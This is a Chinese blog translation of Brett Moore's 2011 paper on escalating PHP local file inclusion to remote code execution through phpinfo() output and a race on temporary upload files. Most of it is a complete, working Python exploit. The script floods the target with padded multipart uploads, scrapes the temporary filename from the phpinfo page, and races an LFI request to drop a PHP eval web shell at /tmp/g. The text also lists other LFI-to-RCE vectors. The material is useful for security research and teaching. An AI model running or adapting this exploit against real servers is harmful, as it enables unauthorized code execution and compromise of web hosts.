【翻译】通过phpinfo()实现LFI2RCE

前言

原文《LFI WITH PHPINFO() ASSISTANCE》于2011年9月由Brett Moore完成。

原文pdf下载

介绍

目前在测试PHP应用程序中,非常习惯于去测试本地文件包含漏洞(LFI)。根据服务器的配置,LFI非常有可能通过以下技术转化为代码执行漏洞(RCE):

  • /proc/self/environ
  • /proc/self/fd/…
  • /var/log/…
  • /var/lib/php/session/ (PHP Sessions)
  • /tmp/ (PHP Sessions)
  • php://input wrapper
  • php://filter wrapper
  • data: wrapper

本文的研究是对Gynvael Coldwind的《PHP LFI to arbitratry code execution via rfc1867 file upload temporary files》的扩展,在这篇文章里,GC表述了PHP文件上传的具体原理。特别是他提到了如果PHP配置文件中开启了file_uploads = on,那么PHP会接受一个文件上传的post请求到任意PHP文件。并且上传的文件会存储在/tmp目录下,直到被请求的PHP页面全部加载完成。这个过程在PHP官方文档中也有提到:“如果文件还没有移动或重命名,那么会在请求的结束从临时目录中删除。”

在这篇文章中,GC利用这个行为,在windows系统上通过使用FindFirstFile quirk实施攻击。这个实验过程被记录在这篇文章中:

《Oddities of PHP file access in Windows. Cheat-sheet, 2011 (Vladimir Vorontsov, Arthur Gerkis)》

下面的文章虽然与LFI研究不相关,但对于PHP的web应用安全研究也是一份感兴趣的材料。这篇文章记录了一种行为,即PHP脚本在通过Head Http变量时的处理过程。

《HTTP HEAD method trick in php scripts (Adam Iwaniuk)》

FindFirstFile quirk对运行在GNU/linux上的PHP引擎不起作用,然而在特定条件下利用PHP文件上传的特性进行攻击的特性依然可行。这篇文章详细的描述了其中一种情况,当访问输出phpinfo()调用结果的脚本在目标服务器上可用时,该条件变得可用。

LFI with phpinfo()

实现这个攻击需要满足两个攻击条件:

  • LFI漏洞

​ 必须有一个本地文件包含漏洞用于包含通过phpinfo脚本上传的临时文件(用于写shell)

  • phpinfo()页面

​ 其实任何能够显示phpinfo()输出的页面都可以,当然最常见的就是phpinfo.php页面

phpinfo()

phpinfo()函数能够输出很多PHP变量,包括任何通过_GET,_POST_FILES上传的变量。下面的请求和输出截图表名phpinfo()显示了上传的临时文件名。

1
2
3
4
5
6
7
8
9
POST /phpinfo.php HTTP/1.0
Content-Type: multipart/form-data; boundary=---------------------------
7db268605ae
Content-Length: 196
-----------------------------7db268605ae
Content-Disposition: form-data; name="dummyname"; filename="test.txt"
Content-Type: text/plain
Security Test
-----------------------------7db268605ae

image-20220516171102460

条件竞争

上面说到,上传的临时文件只存在于php处理器在处理被请求的PHP文件,并且会在处理结束时删除这个临时文件。

我们可以用这个命令来监控临时文件夹,从而看到临时文件被创建的过程。sudo inotifywat -m -r /tmp

假设这个处理过程很长,那么我们就可以看到php会在临时文件夹下创建这个临时文件,一点一点写入上传的内容。并且在这个过程中phpinfo页面上会显示要写入内容的临时文件名。我们可以就可以处理结束之前包含这个临时文件,从而执行里面的恶意php代码。

PHP会使用输出缓冲器来提高数据传输的效率,这个特性默认启用,并且缓冲区的大小为4096,可以参考php文档中关于这个特性的表述

当php脚本的输出大于缓冲器的大小,部分内容会通过分块传输返回给请求者。

为了确保php脚本的输出大于缓冲区的大小,并且轻微增加处理的时间,需要在http header位置加入额外的填充。

通过多次post上传到phpinfo脚本,并且小心地控制读取,就能够取到临时文件名,然后请求存在LFI漏洞的脚本来包含这个临时文件。这就需要并发来条件竞争,从而让LFI转换成RCE。

这个技术已经同时在本地网络环境和Internet上的远程目标中尝试通过。下面贴上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
#!/usr/bin/python 
import sys
import threading
import socket

def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))
s2.connect((host, port))

s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =&gt; ")
fn = d[i+17:i+31]
except ValueError:
return None

s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()

if d.find(tag) != -1:
return fn

counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args

def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1

try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()

except socket.error:
return


def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)

d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =&gt; ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")

print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256

def main():

print "LFI With PHPInfo()"
print "-=" * 30

if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)

try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)

port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)

poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)

print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()

maxattempts = 1000
e = threading.Event()
l = threading.Lock()

print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()

tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()

print "Shuttin' down..."
for t in tp:
t.join()

if __name__=="__main__":
main()

【翻译】通过phpinfo()实现LFI2RCE
https://wanf3ng.github.io/2022/05/14/【翻译】通过phpinfo()实现本地文件包含/
作者
wanf3ng
发布于
2022年5月14日
许可协议